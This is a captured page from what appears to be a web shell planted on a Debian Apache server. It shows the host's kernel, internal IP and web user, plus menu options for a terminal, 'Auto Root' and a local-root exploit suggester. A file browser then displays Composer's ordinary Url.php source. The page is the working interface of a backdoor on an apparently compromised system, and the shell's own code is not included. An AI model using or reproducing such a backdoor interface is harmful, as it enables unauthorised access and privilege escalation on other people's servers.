Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
Composer /
Util /
Delete
Unzip
Name
Size
Permission
Date
Action
Http
[ DIR ]
drwxr-xr-x
2026-07-12 06:24
AuthHelper.php
13.64
KB
-rw-r--r--
2023-03-21 10:50
Bitbucket.php
9.7
KB
-rw-r--r--
2023-03-21 10:50
ComposerMirror.php
2.34
KB
-rw-r--r--
2023-03-21 10:50
ConfigValidator.php
9.05
KB
-rw-r--r--
2023-03-21 10:50
ErrorHandler.php
2.44
KB
-rw-r--r--
2023-03-21 10:50
Filesystem.php
27.82
KB
-rw-r--r--
2023-03-21 10:50
Git.php
22.09
KB
-rw-r--r--
2023-03-21 10:50
GitHub.php
8.46
KB
-rw-r--r--
2026-05-14 09:28
GitLab.php
12
KB
-rw-r--r--
2023-03-21 10:50
Hg.php
3.19
KB
-rw-r--r--
2023-03-21 10:50
HttpDownloader.php
17.63
KB
-rw-r--r--
2023-03-21 10:50
IniHelper.php
1.61
KB
-rw-r--r--
2023-03-21 10:50
Loop.php
3.47
KB
-rw-r--r--
2023-03-21 10:50
MetadataMinifier.php
650
B
-rw-r--r--
2023-03-21 10:50
NoProxyPattern.php
10.62
KB
-rw-r--r--
2023-03-21 10:50
PackageInfo.php
964
B
-rw-r--r--
2023-03-21 10:50
PackageSorter.php
4.08
KB
-rw-r--r--
2023-03-21 10:50
Perforce.php
18.47
KB
-rw-r--r--
2026-05-14 09:28
Platform.php
8.57
KB
-rw-r--r--
2023-03-21 10:50
ProcessExecutor.php
13.82
KB
-rw-r--r--
2026-05-14 09:28
RemoteFilesystem.php
26.83
KB
-rw-r--r--
2023-03-21 10:50
Silencer.php
2.05
KB
-rw-r--r--
2023-03-21 10:50
StreamContextFactory.php
9.32
KB
-rw-r--r--
2023-03-21 10:50
Svn.php
9.66
KB
-rw-r--r--
2023-03-21 10:50
SyncHelper.php
2.39
KB
-rw-r--r--
2023-03-21 10:50
Tar.php
1.73
KB
-rw-r--r--
2023-03-21 10:50
TlsHelper.php
6.88
KB
-rw-r--r--
2023-03-21 10:50
Url.php
5.23
KB
-rw-r--r--
2026-05-14 09:28
Zip.php
3.31
KB
-rw-r--r--
2023-03-21 10:50
Save
Rename
<?php declare(strict_types=1); /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Util; use Composer\Config; use Composer\Pcre\Preg; /** * @author Jordi Boggiano <j.boggiano@seld.be> */ class Url { /** * @param non-empty-string $url * @return non-empty-string the updated URL */ public static function updateDistReference(Config $config, string $url, string $ref): string { $host = parse_url($url, PHP_URL_HOST); if ($host === 'api.github.com' || $host === 'github.com' || $host === 'www.github.com') { if (Preg::isMatch('{^https?://(?:www\.)?github\.com/([^/]+)/([^/]+)/(zip|tar)ball/(.+)$}i', $url, $match)) { // update legacy github archives to API calls with the proper reference $url = 'https://api.github.com/repos/' . $match[1] . '/'. $match[2] . '/' . $match[3] . 'ball/' . $ref; } elseif (Preg::isMatch('{^https?://(?:www\.)?github\.com/([^/]+)/([^/]+)/archive/.+\.(zip|tar)(?:\.gz)?$}i', $url, $match)) { // update current github web archives to API calls with the proper reference $url = 'https://api.github.com/repos/' . $match[1] . '/'. $match[2] . '/' . $match[3] . 'ball/' . $ref; } elseif (Preg::isMatch('{^https?://api\.github\.com/repos/([^/]+)/([^/]+)/(zip|tar)ball(?:/.+)?$}i', $url, $match)) { // update api archives to the proper reference $url = 'https://api.github.com/repos/' . $match[1] . '/'. $match[2] . '/' . $match[3] . 'ball/' . $ref; } } elseif ($host === 'bitbucket.org' || $host === 'www.bitbucket.org') { if (Preg::isMatch('{^https?://(?:www\.)?bitbucket\.org/([^/]+)/([^/]+)/get/(.+)\.(zip|tar\.gz|tar\.bz2)$}i', $url, $match)) { // update Bitbucket archives to the proper reference $url = 'https://bitbucket.org/' . $match[1] . '/'. $match[2] . '/get/' . $ref . '.' . $match[4]; } } elseif ($host === 'gitlab.com' || $host === 'www.gitlab.com') { if (Preg::isMatch('{^https?://(?:www\.)?gitlab\.com/api/v[34]/projects/([^/]+)/repository/archive\.(zip|tar\.gz|tar\.bz2|tar)\?sha=.+$}i', $url, $match)) { // update Gitlab archives to the proper reference $url = 'https://gitlab.com/api/v4/projects/' . $match[1] . '/repository/archive.' . $match[2] . '?sha=' . $ref; } } elseif (in_array($host, $config->get('github-domains'), true)) { $url = Preg::replace('{(/repos/[^/]+/[^/]+/(zip|tar)ball)(?:/.+)?$}i', '$1/'.$ref, $url); } elseif (in_array($host, $config->get('gitlab-domains'), true)) { $url = Preg::replace('{(/api/v[34]/projects/[^/]+/repository/archive\.(?:zip|tar\.gz|tar\.bz2|tar)\?sha=).+$}i', '${1}'.$ref, $url); } assert($url !== ''); return $url; } /** * @param non-empty-string $url * @return non-empty-string */ public static function getOrigin(Config $config, string $url): string { if (0 === strpos($url, 'file://')) { return $url; } $origin = (string) parse_url($url, PHP_URL_HOST); if ($port = parse_url($url, PHP_URL_PORT)) { $origin .= ':'.$port; } if (strpos($origin, '.github.com') === (strlen($origin) - 11)) { return 'github.com'; } if ($origin === 'repo.packagist.org') { return 'packagist.org'; } if ($origin === '') { $origin = $url; } // Gitlab can be installed in a non-root context (i.e. gitlab.com/foo). When downloading archives the originUrl // is the host without the path, so we look for the registered gitlab-domains matching the host here if ( false === strpos($origin, '/') && !in_array($origin, $config->get('gitlab-domains'), true) ) { foreach ($config->get('gitlab-domains') as $gitlabDomain) { if ($gitlabDomain !== '' && str_starts_with($gitlabDomain, $origin)) { return $gitlabDomain; } } } return $origin; } public static function sanitize(string $url): string { // GitHub repository rename result in redirect locations containing the access_token as GET parameter // e.g. https://api.github.com/repositories/9999999999?access_token=github_token $url = Preg::replace('{([&?]access_token=)[^&]+}', '$1***', $url); $url = Preg::replaceCallback('{^(?P<prefix>[a-z0-9]+://)?(?P<user>[^:/\s@]+):(?P<password>[^@\s/]+)@}i', static function ($m): string { assert(is_string($m['user'])); // if the username looks like a long (12char+) hex string, or a modern github token (e.g. ghp_xxx, github_pat_xxx) we obfuscate that if (Preg::isMatch(GitHub::GITHUB_TOKEN_REGEX, $m['user'])) { return $m['prefix'].'***:***@'; } return $m['prefix'].$m['user'].':***@'; }, $url); return $url; } }